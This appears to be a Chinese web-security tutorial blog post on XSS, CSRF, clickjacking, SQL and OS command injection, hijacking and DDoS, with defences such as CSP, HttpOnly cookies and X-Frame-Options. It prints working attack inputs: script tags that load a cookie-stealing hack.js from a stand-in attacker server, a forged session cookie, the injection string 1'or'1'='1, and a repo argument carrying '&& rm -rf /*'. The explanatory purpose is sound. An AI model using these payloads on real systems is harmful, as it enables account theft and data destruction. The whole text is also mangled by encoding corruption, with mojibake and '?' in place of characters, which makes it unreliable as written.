此文項(xiàng)目代碼:https://github.com/bei-yang/I-want-to-be-an-architect
碼字不易,辛苦點(diǎn)個(gè)star,感謝!
引言
此篇文章主要涉及以下內(nèi)容:
XSSCSRF- 點(diǎn)擊劫持
-
SQL注入 -
OS注入 - 請求劫持
DDOS
XSS
XSS(Cross Site Scripting),跨站腳本攻擊,因?yàn)榭s寫和CSS重疊,所以只能叫XSS??缯灸_本攻擊是指通過存在安全漏洞的Web網(wǎng)站注冊用戶的瀏覽器內(nèi)運(yùn)行非法的HTML標(biāo)簽或JavaScript進(jìn)行的一種攻擊。
跨站腳本攻擊有可能造成以下影響:
- 利用虛假輸入表單騙取用戶個(gè)人信息。
- 利用腳本竊取用戶的
Cookie值,被害者在不知情的情況下,幫助攻擊者發(fā)送惡意請求。 - 顯示偽造的文章或圖片。
XSS攻擊分類
- 反射性——url參數(shù)直接注入
// 普通
http://localhost:3000/?from=china
// alert嘗試
http://localhost:3000/?from=<script>alert(3)</script>
// 獲取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
// 短域名偽造 https://dwz.cn/
// 偽造cookie?侵 chrome
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjox
NTUzNTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="
- 存儲型——存儲到
DB后讀取時(shí)注入
// 評論
<script>alert(1)</script>
// 跨站腳本注?
我來了<script src="http://localhost:4000/hack.js"></script>
XSS攻擊的危害——scripting能干啥就能干啥
- 獲取頁面數(shù)據(jù)
- 獲取cookies
- 劫持前端邏輯
- 發(fā)送請求
- 偷取網(wǎng)站的任意數(shù)據(jù)
- 偷取用戶的資料
- 偷取用戶的秘密和登錄態(tài)
- 欺騙用戶
防范手段
ejs轉(zhuǎn)義小知識
<% code %>?于執(zhí)?其中javascript代碼;
<%= code %>會對code進(jìn)?html轉(zhuǎn)義;
<%- code %>將不會進(jìn)?轉(zhuǎn)義
- HEAD
ctx.set('X-XSS-Protection', 0) // 禁?XSS過濾
// http://localhost:3000/?from=<script>alert(3)</script> 可以攔截 但偽裝?下就
不?了
0禁止XSS過濾。
1啟用XSS過濾(通常瀏覽器是默認(rèn)的)。如果檢測到跨站腳本攻擊,瀏覽器將清除頁面(刪除不安全的部分)。
1;mode=block啟用XSS過濾。如果檢測到攻擊,瀏覽器將不會清除頁面,而是阻止頁面加載。
1;report=(Chromium only)啟動XSS過濾。如果檢測到跨站腳本攻擊,瀏覽器將清除頁面并使用CSPreport-uri指令的功能發(fā)送違規(guī)報(bào)告。
- CSP
內(nèi)容安全策略(CSP,Content Security Policy)是一個(gè)附加的安全層,用于幫助檢測和緩解某些類型的攻擊,包括跨站腳本(XSS)和數(shù)據(jù)注入等攻擊。這些攻擊可用于實(shí)現(xiàn)從數(shù)據(jù)竊取到網(wǎng)站破壞或作為惡意軟件分發(fā)版本等用途。
CSP本質(zhì)上就是建立白名單,開發(fā)者明確告訴瀏覽器哪些外部資源可以加載和執(zhí)行。我們只需要配置規(guī)則,如何攔截是由瀏覽器自己實(shí)現(xiàn)的。我們可以通過這種方式來盡量減少XSS攻擊。 - 轉(zhuǎn)義字符
- 黑名單
用戶的輸入永遠(yuǎn)不可信任,最普遍的做法就是轉(zhuǎn)義輸入輸出的內(nèi)容,對于引導(dǎo)、尖括號、斜杠進(jìn)行轉(zhuǎn)義。
對于富文本,顯然不能通過上面的辦法來轉(zhuǎn)義所有字符,因?yàn)檫@樣會把需要的格式也過濾掉。對于這種情況,通常采用白名單過濾的辦法,當(dāng)然也可以通過黑名單過濾,但是考慮到需要過濾的標(biāo)簽和標(biāo)簽屬性實(shí)在太多,更加推薦使用白名單的方式。 - HTTPOnly Cookie
這是預(yù)防XSS攻擊竊取用戶cookie最有效的防御手段。web應(yīng)用程序在設(shè)置cookie時(shí),將其屬性設(shè)為HttpOnly,就可以避免該網(wǎng)頁的cookie被客戶端惡意JavaScript獲取,保護(hù)用戶cookie信息。
response.addHeader("Set-Cookie","uid=112;Path=/;HttpOnly")
CSRF
CSRF(Cross Site Request Forgery),即跨站請求偽造,是一種常見的web攻擊,他利用用戶已登錄的身份,在用戶毫不知情的情況下,以用戶的名義完成非法操作。
- 用戶已經(jīng)登錄了站點(diǎn)A,并在本地記錄了Cookie
- 在用戶沒有登出站點(diǎn)A的情況下(也就是cookie生效的情況下),訪問了惡意攻擊者提供的引誘危險(xiǎn)站點(diǎn)B(B站點(diǎn)要求訪問站點(diǎn)A)
- 站點(diǎn)A沒有做任何CSRF防御
登錄 http://localhost:4000/csrf.html
CSRF攻擊危害
- 利用用戶登錄態(tài)
- 用戶不知情
- 完成業(yè)務(wù)請求
- 盜取用戶資金(轉(zhuǎn)賬,消費(fèi))
- 冒充用戶發(fā)帖背鍋
- 損害網(wǎng)站聲譽(yù)
防御
- 禁止第三方網(wǎng)站帶Cookie——有兼容性問題
- Referer Check——https不發(fā)送Referer
- 驗(yàn)證碼
點(diǎn)擊劫持——Clickjacking
點(diǎn)擊劫持是一種視覺欺騙的攻擊手段。攻擊者將需要攻擊的網(wǎng)站通過iframe嵌套的方式嵌入自己的網(wǎng)頁中,并將iframe設(shè)置為透明,在頁面中透出一個(gè)按鈕誘導(dǎo)用戶點(diǎn)擊。
// 登錄
http://localhost:4000/clickjacking.html
防御
- X-FRAME-OPTIONS
X-FRAME-OPTIONS是一個(gè)HTTP響應(yīng)頭,在現(xiàn)代瀏覽器有一個(gè)很好的支持。這個(gè)HTTP響應(yīng)頭就是為了防御用iframe嵌套的點(diǎn)擊劫持攻擊。
該響應(yīng)頭有三個(gè)值可選,分別是:- DENY,表示頁面不允許通過iframe的方式展示
- SAMEORIGIN,表示頁面可以在相同域名下通過iframe的方式展示
- ALLOW-FROM,表示頁面可以在指定來源的iframe中展示
ctx.set('X-FRAME-OPTIONS','DENY') - JS方式
<head>
<style id="click-jack">
html {
display: none !important;
}
</style>
</head>
<body>
<script>
if (self == top) {
var style = document.getElementById('click-jack')
document.body.removeChild(style)
} else {
top.location = self.location
}
</script>
</body>
以上代碼的作?就是當(dāng)通過 iframe 的?式加載??時(shí),攻擊者的??直接不顯示所有內(nèi)容了。
SQL注入
// 填?特殊密碼
1'or'1'='1
// 拼接后的SQL
SELECT *
FROM test.user
WHERE username = 'laowang'
AND password = '1'or'1'='1'
防御
- 所有的查詢語句建議使用數(shù)據(jù)庫提供的參數(shù)化查詢接口,參數(shù)化的語句使用參數(shù)而不是將用戶輸入變量嵌入到SQL語句中,即不要直接拼接SQL語句。例如Node.js中的mysqljs庫的query方法中的?占位參數(shù)。
- 嚴(yán)格限制web應(yīng)用的數(shù)據(jù)庫的操作權(quán)限,給此用戶提供僅僅能夠滿足其工作的最低權(quán)限,從而最大限度的減少注入攻擊對數(shù)據(jù)庫的危害。
- 后端代碼檢查輸入的數(shù)據(jù)是否符合預(yù)期,嚴(yán)格限制變量的類型,例如使用正則表達(dá)式進(jìn)行一些匹配處理。
- 對進(jìn)?數(shù)據(jù)庫的特殊字符(',",\,<,>,&,*,; 等)進(jìn)?轉(zhuǎn)義處理,或編碼轉(zhuǎn)換?;旧?br>
所有的后端語?都有對字符串進(jìn)?轉(zhuǎn)義處理的?法,?如 lodash 的 lodash._escapehtmlchar
庫。
OS命令注入
OS命令注?和SQL注?差不多,只不過SQL注?是針對數(shù)據(jù)庫的,?OS命令注?是針對操作系統(tǒng)的。OS命令注?攻擊指通過Web應(yīng)?,執(zhí)??法的操作系統(tǒng)命令達(dá)到攻擊的?的。只要在能調(diào)?Shell函數(shù)的地?就有存在被攻擊的?險(xiǎn)。倘若調(diào)?Shell時(shí)存在疏漏,就可以執(zhí)?插?的?法命令。
// 以 Node.js 為例,假如在接?中需要從 github 下載?戶指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* ?戶輸?的參數(shù) */};
exec(`git clone ${params.repo} /some/path`);
如果傳?的參數(shù)是這樣的呢
https://github.com/xx/xx.git && rm -rf /* &&
請求劫持
- DNS劫持
顧名思義,DNS服務(wù)器(DNS解析各個(gè)步驟)被篡改,修改了域名解析的結(jié)果,使得訪問到的不是預(yù)期
的ip - HTTP劫持 運(yùn)營商劫持,此時(shí)?概只能升級HTTPS了
DDOS
distributed denial of service
DDOS 不是?種攻擊,?是??類攻擊的總稱。它有??種類型,新的攻擊?法還在不斷發(fā)明出來。?站運(yùn)?的各個(gè)環(huán)節(jié),都可以是攻擊?標(biāo)。只要把?個(gè)環(huán)節(jié)攻破,使得整個(gè)流程跑不起來,就達(dá)到了癱瘓服務(wù)的?的。
其中,?較常?的?種攻擊是 cc 攻擊。它就是簡單粗暴地送來?量正常的請求,超出服務(wù)器的最?承受量,導(dǎo)致宕機(jī)。我遭遇的就是 cc 攻擊,最多的時(shí)候全世界?概20多個(gè) IP 地址輪流發(fā)出請求,每個(gè)地址的請求量在每秒200次~300次。我看訪問?志的時(shí)候,就覺得那些請求像洪??樣涌來,?眨眼就是?大堆,?分鐘的時(shí)間,?志?件的體積就?了100MB。說實(shí)話,這只能算?攻擊,但是我的個(gè)??站沒有任何防護(hù),服務(wù)器還是跟其他?共享的,這種流量?來?刻就下線了。
防御手段
- 備份?站
備份?站不?定是全功能的,如果能做到全靜態(tài)瀏覽,就能滿?需求。最低限度應(yīng)該可以顯示公
告,告訴?戶,?站出了問題,正在全?搶修。 - HTTP 請求的攔截
硬件 服務(wù)器 防?墻 - 帶寬擴(kuò)容 + CDN
提?犯罪成本
你的贊是我前進(jìn)的動力
求贊,求評論,求轉(zhuǎn)發(fā)...